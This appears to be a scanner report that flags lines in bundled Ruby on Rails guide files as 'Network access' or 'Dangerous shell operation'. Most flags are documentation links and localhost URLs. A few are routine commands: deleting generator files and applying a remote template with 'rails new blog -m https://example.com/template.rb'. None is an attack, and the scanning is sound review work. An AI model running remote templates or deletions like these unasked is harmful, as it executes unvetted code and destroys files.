For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](https://web.archive.org/web/20230518081626/https://blog.evanweaver.com/2008/02/05/valgrind-and-ruby/) - Network accessline 886
[Valgrind and Ruby](https://web.archive.org/web/20230518081626/https://blog.evanweaver.com/2008/02/05/valgrind-and-ruby/) - Network accessline 891
There is an excellent article about detecting and fixing memory leaks at Derailed, [which you can read here](https://github.com/schneems/derailed_benchmarks#is-my-app-leaking-memory). - Network accessline 900
* [Query Trace](https://github.com/ruckus/active-record-query-trace/tree/master) Adds query - Network accessline 901
origin tracing to your logs. * [Exception Notifier](https://github.com/kmcphillips/exception_notification/tree/main) Provides a mailer object and a default set of templates for sending email - Network accessline 902
* [Exception Notifier](https://github.com/kmcphillips/exception_notification/tree/main) - Network accessline 903
Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. * [Better Errors](https://github.com/charliesome/better_errors) Replaces the - Network accessline 904
notifications when errors occur in a Rails application. * [Better Errors](https://github.com/charliesome/better_errors) Replaces the standard Rails error page with a new one containing more contextual information, - Network accessline 905
* [Better Errors](https://github.com/charliesome/better_errors) Replaces the - Network accessline 906
standard Rails error page with a new one containing more contextual information, like source code and variable inspection. * [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails - Network accessline 907
like source code and variable inspection. * [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails development that will end your tailing of development.log. Have all information - Network accessline 908
* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails development that will end your tailing of development.log. Have all information about your Rails app requests in the browser — in the Developer Tools panel. - Network accessline 911
Provides insight to db/rendering/total times, parameter list, rendered views and more. * [Pry](https://github.com/pry/pry) An IRB alternative and runtime developer console. - Network accessline 913
* [Pry](https://github.com/pry/pry) An IRB alternative and runtime developer console. - Network accessline 918
* [web-console Homepage](https://github.com/rails/web-console) - Network accessline 919
* [debug homepage](https://github.com/ruby/debug)
packages/autoskills/skills-registry/rails-guides/references/engines.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 25
functionality and integrate with a larger Rails application. An engine extends a [plugin](plugins.html), with the [`Rails::Engine`](https://api.rubyonrails.org/classes/Rails/Engine.html) class - Network accessline 26
[plugin](plugins.html), with the [`Rails::Engine`](https://api.rubyonrails.org/classes/Rails/Engine.html) class [inheriting](engines.html#the-inheritance-hierarchy) behavior from - Network accessline 27
[`Rails::Engine`](https://api.rubyonrails.org/classes/Rails/Engine.html) class - Network accessline 29
[`Rails::Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html). - Network accessline 33
* [Devise](https://github.com/heartcombo/devise) which provides authentication - Network accessline 34
for its parent applications * [Thredded](https://github.com/thredded/thredded) which provides forum functionality - Network accessline 35
* [Thredded](https://github.com/thredded/thredded) which provides forum - Network accessline 36
functionality * [Refinery CMS](https://github.com/refinery/refinerycms) which provides a CMS engine - Network accessline 37
* [Refinery CMS](https://github.com/refinery/refinerycms) which provides a CMS - Network accessline 38
engine * [Active Storage](https://github.com/rails/rails/tree/main/activestorage) which provides file storage as an engine. - Network accessline 39
* [Active Storage](https://github.com/rails/rails/tree/main/activestorage) which - Network accessline 40
provides file storage as an engine. * [Action Text](https://github.com/rails/rails/tree/main/actiontext) which provides a rich text editor as an engine. - Network accessline 41
* [Action Text](https://github.com/rails/rails/tree/main/actiontext) which - Network accessline 42
provides a rich text editor as an engine. * [`Rails::Application`](https://api.rubyonrails.org/classes/Rails/Application.html) inheriting much of its behavior from `Rails::Engine`. - Network accessline 43
* [`Rails::Application`](https://api.rubyonrails.org/classes/Rails/Application.html) - Network accessline 54
At the base of this hierarchy, [`Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html) is the core - Network accessline 55
[`Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html) is the core - Network accessline 61
The [`Rails Engine`](https://api.rubyonrails.org/classes/Rails/Engine.html) - Network accessline 66
While an engine is packaged like a miniature Rails application, it runs inside a host Rails application. The host [Rails::Application](https://api.rubyonrails.org/classes/Rails/Application.html) - Network accessline 67
host Rails application. The host [Rails::Application](https://api.rubyonrails.org/classes/Rails/Application.html) coordinates boot, executes engine initializers, and builds the overall - Network accessline 68
[Rails::Application](https://api.rubyonrails.org/classes/Rails/Application.html) - Network accessline 588
When you open `http://localhost:3000/blorgh/articles` you will see the default - Network accessline 616
Now you will only need to go to the root of the engine to see all the articles, rather than visiting `/articles`. This means that instead of visiting `http://localhost:3000/blorgh/articles`, you can now go to - Network accessline 617
rather than visiting `/articles`. This means that instead of visiting `http://localhost:3000/blorgh/articles`, you can now go to `http://localhost:3000/blorgh`. - Network accessline 618
`http://localhost:3000/blorgh/articles`, you can now go to - Network accessline 619
`http://localhost:3000/blorgh`. - Network accessline 891
This mounts the engine at the `/blog` path, making its routes accessible at `http://localhost:3000/blog` when the application is running. - Network accessline 892
`http://localhost:3000/blog` when the application is running. - Network accessline 968
NOTE: These tasks are provided by [`ActiveRecord::Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html), - Network accessline 969
[`ActiveRecord::Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html), - Network accessline 1003
Once you've run the migrations, you can access the engine through `http://localhost:3000/blog`. - Network accessline 1004
`http://localhost:3000/blog`. - Network accessline 1160
Now that you've associated the `author_name` from the engine to the `User` model in the host application, you can go to the form in the host application at `http://localhost:3000/blog/articles/new` and create an article with an author - Network accessline 1161
in the host application, you can go to the form in the host application at `http://localhost:3000/blog/articles/new` and create an article with an author name that will create and link to a `User` record in the host application. - Network accessline 1162
`http://localhost:3000/blog/articles/new` and create an article with an author - Network accessline 1234
To define this configuration setting, you should use a [`mattr_accessor`](https://api.rubyonrails.org/classes/Module.html#method-i-mattr_accessor) - Network accessline 1235
[`mattr_accessor`](https://api.rubyonrails.org/classes/Module.html#method-i-mattr_accessor) - Network accessline 1429
memory, which would be incorrect because the definition lives in the engine. Using [`class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval) - Network accessline 1430
Using [`class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval) as shown above ensures you are reopening an existing module. - Network accessline 1431
[`class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval) - Network accessline 1436
While [`Class#class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval) - Network accessline 1437
[`Class#class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval) - Network accessline 1439
modifications—especially those involving multiple modules with dependencies—are often better handled using [`ActiveSupport::Concern`](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html). - Network accessline 1440
often better handled using [`ActiveSupport::Concern`](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html). It provides a structured way to define module behavior and dependencies, - Network accessline 1441
[`ActiveSupport::Concern`](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html).
packages/autoskills/skills-registry/rails-guides/references/error_reporting.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 18
The Rails [error reporter](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html) - Network accessline 19
reporter](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html) - Network accessline 58
[Rack](rails_on_rack.html) middleware or do any monkey-patching to capture unhandled errors. Libraries that use [Active Support](https://api.rubyonrails.org/classes/ActiveSupport.html) can also use - Network accessline 59
unhandled errors. Libraries that use [Active Support](https://api.rubyonrails.org/classes/ActiveSupport.html) can also use this to non-intrusively report warnings that would previously have been lost in - Network accessline 60
Support](https://api.rubyonrails.org/classes/ActiveSupport.html) can also use - Network accessline 89
After defining the subscriber class, you can register it by calling the [`Rails.error.subscribe`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-subscribe) - Network accessline 90
[`Rails.error.subscribe`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-subscribe) - Network accessline 100
It is also possible to unregister a subscriber by calling [`Rails.error.unsubscribe`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-unsubscribe). - Network accessline 101
[`Rails.error.unsubscribe`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-unsubscribe). - Network accessline 130
The [`Rails.error.handle`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-handle) - Network accessline 131
[`Rails.error.handle`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-handle) - Network accessline 155
The [`Rails.error.record`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-record) - Network accessline 156
[`Rails.error.record`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-record) - Network accessline 172
You can also manually report errors by calling [`Rails.error.report`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-report): - Network accessline 173
[`Rails.error.report`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-report): - Network accessline 187
You can report any unexpected error by calling [`Rails.error.unexpected`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-unexpected"). - Network accessline 188
[`Rails.error.unexpected`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-unexpected"). - Network accessline 238
In addition to setting context through the `context` option, you can use [`Rails.error.set_context`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-set_context). - Network accessline 239
[`Rails.error.set_context`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-set_context). - Network accessline 274
You can prevent a subscriber from being notified of errors for the duration of a block by calling [`Rails.error.disable`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-disable). - Network accessline 275
block by calling [`Rails.error.disable`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-disable). Similarly to `subscribe` and `unsubscribe`, you can pass in either the - Network accessline 276
[`Rails.error.disable`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-disable). - Network accessline 292
Error-reporting libraries can register their subscribers in a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html): - Network accessline 293
[Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html):
packages/autoskills/skills-registry/rails-guides/references/form_helpers.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 20
This guide is not intended to be a complete list of all available form helpers. Please refer to [the Rails API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) for an exhaustive list of form helpers and their argu - Network accessline 25
The main form helper is [`form_with`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with). - Network accessline 78
The search form example above also shows the [form builder](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html) object. You will learn about the many helpers provided by the form builder object (like `form.label` and `f - Network accessline 98
When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in the [Form Input Naming - Network accessline 126
The first parameter to [`checkbox`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-checkbox) is the name of the input which can be found in the `params` hash. If the user has checked the "Biography" checkbo - Network accessline 138
The checkbox's values (the values that will appear in `params`) can optionally be specified using the `checked_value` and `unchecked_value` parameters. See the [API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/FormH - Network accessline 168
The second argument to [`radio_button`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-radio_button) is the value of the input. Because these radio buttons share the same name (`flavor`), the user will only - Network accessline 360
`form_with`. The `fields_for` helper creates a similar binding but without rendering a `<form>` tag. You can learn more about `fields_for` in the [API docs](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-fi - Network accessline 362
docs](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-fields_for). - Network accessline 384
Notice how the short-hand `form_with` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking [`record.persisted?`](https://api. - Network accessline 465
[formmethod]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-formmethod - Network accessline 466
[button-name]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-name - Network accessline 467
[button-value]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-value - Network accessline 474
For example, let's say we have a list of cities for the user to choose from. We can use the [`select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-select) helper: - Network accessline 643
In addition to the [`date_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-date_select) helper, Rails provides [`time_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html# - Network accessline 647
Rails also provides helpers to render select boxes for individual date and time components: [`select_year`](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-select_year), [`select_month`](https://api.rubyonrai - Network accessline 675
When you need to ask users what time zone they are in, there is a very convenient [`time_zone_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-time_zone_select) helper to use. - Network accessline 677
Typically, you would have to provide a list of time zone options for users to select from. This can get tedious if not for the list of pre-defined [`ActiveSupport::TimeZone`](https://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html) - Network accessline 745
To generate a select box, we can use [`collection_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_select): - Network accessline 765
To generate a set of radio buttons, we can use [`collection_radio_buttons`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_radio_buttons): - Network accessline 786
To generate a set of check boxes — for example, to support a `has_and_belongs_to_many` association — we can use [`collection_checkboxes`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_checkboxes - Network accessline 811
A common task with forms is allowing users to upload a file. It could be an avatar image or a CSV file with data to process. File upload fields can be rendered with the [`file_field`](https://api.rubyonrails.org/classes/ActionView/Helpers/F - Network accessline 839
When using `file_field`, the object in the `params` hash is an instance of [`ActionDispatch::Http::UploadedFile`](https://api.rubyonrails.org/classes/ActionDispatch/Http/UploadedFile.html). Here is an example of how to save data in an uploa - Network accessline 864
We call the objects yielded by `form_with` or `fields_for` Form Builders. Form builders allow you to generate form elements associated with a model object and are an instance of [`ActionView::Helpers::FormBuilder`](https://api.rubyonrails.o - Network accessline 866
[`ActionView::Helpers::FormBuilder`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html). This class can be extended to add custom helpers for your application. - Network accessline 1041
Let's say you want to render a form with a set of fields for each of a person's addresses. The [`fields_for`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-fields_for) helper with its `:index` option can as - Network accessline 1042
addresses. The [`fields_for`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-fields_for) helper with its `:index` option can assist: - Network accessline 1092
You can find more details about `fields_for` index option in the [API docs](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-fields_for). - Network accessline 1101
For editing an associated record for a given model (`Person` in this case), Active Record provides model level support via the [`accepts_nested_attributes_for`](https://api.rubyonrails.org/classes/ActiveRecord/NestedAttributes/ClassMethods. - Network accessline 1308
[Credential-related source omitted] - Network accessline 1316
[Credential-related source omitted] - Network accessline 1324
In case you need to render form fields outside of the context of a form builder, Rails provides tag helpers for common form elements. For example, [`checkbox_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#me - Network accessline 1336
Generally, these helpers have the same name as their form builder counterparts plus a `_tag` suffix. For a complete list, see the [`FormTagHelper` API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html - Network accessline 1341
Before `form_with` was introduced in Rails 5.1 its functionality was split between [`form_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-form_tag) and [`form_for`](https://api.rubyonrails.org/classe
packages/autoskills/skills-registry/rails-guides/references/generators.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 47
Generators are built on top of [Thor](https://github.com/rails/thor), which - Network accessline 103
[`Rails::Generators::Base`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html - Network accessline 104
[`Thor::Actions`]: https://www.rubydoc.info/gems/thor/Thor/Actions - Network accessline 105
[`create_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#create_file-instance_method - Network accessline 106
[`desc`]: https://www.rubydoc.info/gems/thor/Thor#desc-class_method - Dangerous shell operationline 115
$ rm lib/generators/initializer_generator.rb - Network accessline 186
[`Rails::Generators::NamedBase`]: https://api.rubyonrails.org/classes/Rails/Generators/NamedBase.html - Network accessline 187
[`copy_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#copy_file-instance_method - Network accessline 188
[`source_root`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html#method-c-source_root - Network accessline 216
[`class_option`]: https://www.rubydoc.info/gems/thor/Thor/Base/ClassMethods#class_option-instance_method - Network accessline 217
[`options`]: https://www.rubydoc.info/gems/thor/Thor/Base#options-instance_method - Network accessline 271
[scaffold controller template]: https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb.tt - Network accessline 272
[scaffold view templates]: https://github.com/rails/rails/tree/main/railties/lib/rails/generators/erb/scaffold/templates - Network accessline 377
[`config.generators`]: configuring.html#configuring-generators [`hook_for`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html#method-c-hook_for - Network accessline 378
[`hook_for`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html#method-c-hook_for - Network accessline 506
$ rails new blog -m https://example.com/template.rb - Network accessline 507
$ bin/rails app:template LOCATION=https://example.com/template.rb - Network accessline 513
`rails_command` and also adds user interactivity with methods like `yes?`. All of these methods are part of the [Rails Template API](https://edgeapi.rubyonrails.org/classes/Rails/Generators/Actions.html). The - Network accessline 514
of these methods are part of the [Rails Template API](https://edgeapi.rubyonrails.org/classes/Rails/Generators/Actions.html). The following sections shows how to use more of these methods with examples. - Network accessline 515
API](https://edgeapi.rubyonrails.org/classes/Rails/Generators/Actions.html). The - Network accessline 521
Generators and the template Ruby scripts have access to several helper methods using a [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) (Domain - Network accessline 522
using a [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) (Domain - Network accessline 551
add_source "https://rubygems.org" - Network accessline 554
If a block is given, gem entries in the block are wrapped into the source group. For example, if you need to source a gem from `"http://gems.github.com"`: - Network accessline 555
For example, if you need to source a gem from `"http://gems.github.com"`: - Network accessline 558
add_source "http://gems.github.com/" do - Network accessline 589
environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: "production" - Dangerous shell operationline 716
run "rm README.rdoc" - Network accessline 751
such as [`copy_file`][], [`create_file`][], [`insert_into_file`][], and [`inside`][]. You can see the [Thor API documentation](https://www.rubydoc.info/gems/thor/Thor/Actions) for details. - Network accessline 752
[`inside`][]. You can see the [Thor API documentation](https://www.rubydoc.info/gems/thor/Thor/Actions) for details. Here is an example of one such method: - Network accessline 753
documentation](https://www.rubydoc.info/gems/thor/Thor/Actions) for details. - Network accessline 768
There are also methods that allow you to interact with the user from the Ruby template, such as [`ask`][], [`yes`][], and [`no`][]. You can learn about all user interactivity methods in the [Thor Shell documentation](https://www.rubydoc.inf - Network accessline 814
[`Rails::Generators::Actions`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html - Network accessline 815
[`environment`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-environment - Network accessline 816
[`gem`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-gem - Network accessline 817
[`generate`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-generate - Network accessline 818
[`git`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-git - Network accessline 819
[`gsub_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#gsub_file-instance_method - Network accessline 820
[`initializer`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-initializer - Network accessline 821
[`insert_into_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#insert_into_file-instance_method - Network accessline 822
[`inside`]: https://www.rubydoc.info/gems/thor/Thor/Actions#inside-instance_method - Network accessline 823
[`lib`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-lib - Network accessline 824
[`rails_command`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rails_command - Network accessline 825
[`rake`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rake - Network accessline 826
[`route`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-route - Network accessline 827
[`Rails::Generators::Testing::Behavior`]: https://api.rubyonrails.org/classes/Rails/Generators/Testing/Behavior.html - Network accessline 828
[`run_generator`]: https://api.rubyonrails.org/classes/Rails/Generators/Testing/Behavior.html#method-i-run_generator - Network accessline 829
[`Rails::Generators::Testing::Assertions`]: https://api.rubyonrails.org/classes/Rails/Generators/Testing/Assertions.html - Network accessline 830
[`add_source`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-add_source - Network accessline 831
[`after_bundle`]: https://api.rubyonrails.org/classes/Rails/Generators/AppGenerator.html#method-i-after_bundle - Network accessline 832
[`gem_group`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-gem_group - Network accessline 833
[`vendor`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-vendor - Network accessline 834
[`rakefile`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rakefile - Network accessline 835
[`run`]: https://www.rubydoc.info/gems/thor/Thor/Actions#run-instance_method - Network accessline 836
[`copy_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#copy_file-instance_method - Network accessline 837
[`create_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#create_file-instance_method - Network accessline 838
[`ask`]: https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#ask-instance_method - Network accessline 839
[`yes`]: https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#yes%3F-instance_method - Network accessline 840
[`no`]: https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#no%3F-instance_method
packages/autoskills/skills-registry/rails-guides/references/getting_started.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 31
- [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/) - Network accessline 32
- [List of Free Programming Books](https://github.com/EbookFoundation/free-programming-books/blob/main/books/free-programming-books-langs.md#ruby) - Network accessline 125
|bin/|Contains the `rails` script that starts your app and can contain other scripts you use to set up, update, deploy, or run your application.| |config/|Contains configuration for your application's routes, database, and more. This is cov - Network accessline 126
|config/|Contains configuration for your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).| |config.ru|[Rack](https://rack.github.io) configuration for Rack-based - Network accessline 127
|config.ru|[Rack](https://rack.github.io) configuration for Rack-based servers used to start the application.| - Network accessline 128
|db/|Contains your current database schema, as well as the database migrations.| |Dockerfile|Configuration file for Docker.| |Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails applicati - Network accessline 129
|Dockerfile|Configuration file for Docker.| |Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the [Bundler](https://bundler.io) gem.| |lib/|Extende - Network accessline 130
|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the [Bundler](https://bundler.io) gem.| - Network accessline 134
|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing `Rakefile`, you should add your own tasks by adding files to the `l - Network accessline 135
|README.md|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| |script/|Contains one-off or general purpose [scripts](https://github.com - Network accessline 136
|script/|Contains one-off or general purpose [scripts](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/script/USAGE) and [benchmarks](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/ - Network accessline 140
|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.| |.dockerignore|This file tells Docker which files it should not copy into the container.| |.gitattributes|This file defines metadata for - Network accessline 141
|.dockerignore|This file tells Docker which files it should not copy into the container.| |.gitattributes|This file defines metadata for specific paths in a Git repository. This metadata can be used by Git and other tools to enhance their b - Network accessline 142
|.gitattributes|This file defines metadata for specific paths in a Git repository. This metadata can be used by Git and other tools to enhance their behavior. See the [gitattributes documentation](https://git-scm.com/docs/gitattributes) for - Network accessline 143
|.git/|Contains Git repository files.| |.github/|Contains GitHub specific files.| |.gitignore|This file tells Git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for - Network accessline 144
|.github/|Contains GitHub specific files.| |.gitignore|This file tells Git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for more information about ignoring files. - Network accessline 145
|.gitignore|This file tells Git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for more information about ignoring files.| - Network accessline 199
* Environment: development * PID: 12345 * Listening on http://127.0.0.1:3000 - Network accessline 200
* PID: 12345 * Listening on http://127.0.0.1:3000 * Listening on http://[::1]:3000 - Network accessline 201
* Listening on http://127.0.0.1:3000 - Network accessline 202
* Listening on http://[::1]:3000 - Network accessline 206
To see your Rails application, open http://localhost:3000 in your browser. You - Network accessline 679
In terms of implementation: Routes are rules written in a Ruby [DSL (Domain-Specific Language)](https://en.wikipedia.org/wiki/Domain-specific_language). - Network accessline 680
[DSL (Domain-Specific Language)](https://en.wikipedia.org/wiki/Domain-specific_language). - Network accessline 699
https://example.org/products?sale=true&sort=asc - Network accessline 946
Let's see this in our browser. First, run `bin/rails server` in your terminal to start the Rails server. Then open http://localhost:3000 and you will see the - Network accessline 947
start the Rails server. Then open http://localhost:3000 and you will see the - Network accessline 950
If we open http://localhost:3000/products in the browser, Rails will render the - Network accessline 971
Now when you visit http://localhost:3000, Rails will render Products#index. - Network accessline 997
ERB is short for [Embedded Ruby](https://docs.ruby-lang.org/en/master/ERB.html) - Network accessline 1003
Now refresh http://localhost:3000/ in your browser and you'll see that the - Network accessline 1127
* `products_path` generates `"/products"` * `products_url` generates `"http://localhost:3000/products"` - Network accessline 1128
* `products_url` generates `"http://localhost:3000/products"` - Network accessline 1130
* `product_url(1)` generates `"http://localhost:3000/products/1"` - Network accessline 1642
Try it out by visiting http://localhost:3000/products/new - Network accessline 1711
Click the Log out button and you'll see the New link is hidden. Log in at http://localhost:3000/session/new and you'll see the New link on the index page. - Network accessline 1712
http://localhost:3000/session/new and you'll see the New link on the index page. - Network accessline 1999
* Visit http://localhost:3000/products?locale=en, you will see the English - Network accessline 2000
translation. * Visit http://localhost:3000/products?locale=es, you will see the Spanish translation. - Network accessline 2001
* Visit http://localhost:3000/products?locale=es, you will see the Spanish - Network accessline 2002
translation. * Visit http://localhost:3000/products without a locale param, it will fallback to English. - Network accessline 2003
* Visit http://localhost:3000/products without a locale param, it will fallback - Network accessline 2217
The [flash](https://api.rubyonrails.org/classes/ActionDispatch/Flash.html) - Network accessline 2379
T-Shirt is back in stock. http://localhost:3000/products/1 - Network accessline 2380
http://localhost:3000/products/1 - Network accessline 2400
<p><a href="http://localhost:3000/products/1">T-Shirt</a> is back in stock.</p> - Network accessline 2729
1. [**Turbo**](https://turbo.hotwired.dev/) handles navigation, form - Network accessline 2730
submissions, page components, and updates without writing any custom JavaScript. 2. [**Stimulus**](https://stimulus.hotwired.dev/) provides a framework for when - Network accessline 2731
JavaScript. 2. [**Stimulus**](https://stimulus.hotwired.dev/) provides a framework for when you need custom JavaScript to add functionality to the page. - Network accessline 2732
2. [**Stimulus**](https://stimulus.hotwired.dev/) provides a framework for when - Network accessline 2733
you need custom JavaScript to add functionality to the page. 3. [**Native**](https://native.hotwired.dev/) allows you to make hybrid mobile apps by embedding your web app and progressively enhancing it with native - Network accessline 2734
3. [**Native**](https://native.hotwired.dev/) allows you to make hybrid mobile - Network accessline 3062
To learn more about the DSL, read the documentation for [ActiveSupport::ContinuousIntegration](https://www.rubydoc.info/github/rails/rails/main/ActiveSupport/ContinuousIntegration). - Network accessline 3069
Rails comes with a deployment tool called [Kamal](https://kamal-deploy.org) that - Network accessline 3074
to build the Docker image, creating a containerized version of your application with all its dependencies and configurations. This Dockerfile uses [Thruster](https://github.com/basecamp/thruster) to compress and serve assets - Network accessline 3075
with all its dependencies and configurations. This Dockerfile uses [Thruster](https://github.com/basecamp/thruster) to compress and serve assets efficiently in production. - Network accessline 3076
[Thruster](https://github.com/basecamp/thruster) to compress and serve assets - Network accessline 3083
regular security and bug fixes. Hetzner, DigitalOcean, and other hosting services provide servers to get started. - A [Docker Hub](https://hub.docker.com) account and access token. Docker Hub - Network accessline 3084
services provide servers to get started. - A [Docker Hub](https://hub.docker.com) account and access token. Docker Hub stores the image of the application so it can be downloaded and run on the - Network accessline 3085
- A [Docker Hub](https://hub.docker.com) account and access token. Docker Hub - Network accessline 3089
On Docker Hub, [create a Repository](https://hub.docker.com/repository/create) - Network accessline 3126
[Create an access token](https://app.docker.com/settings/personal-access-tokens/create)
packages/autoskills/skills-registry/rails-guides/references/i18n.md
- Network accessline 1
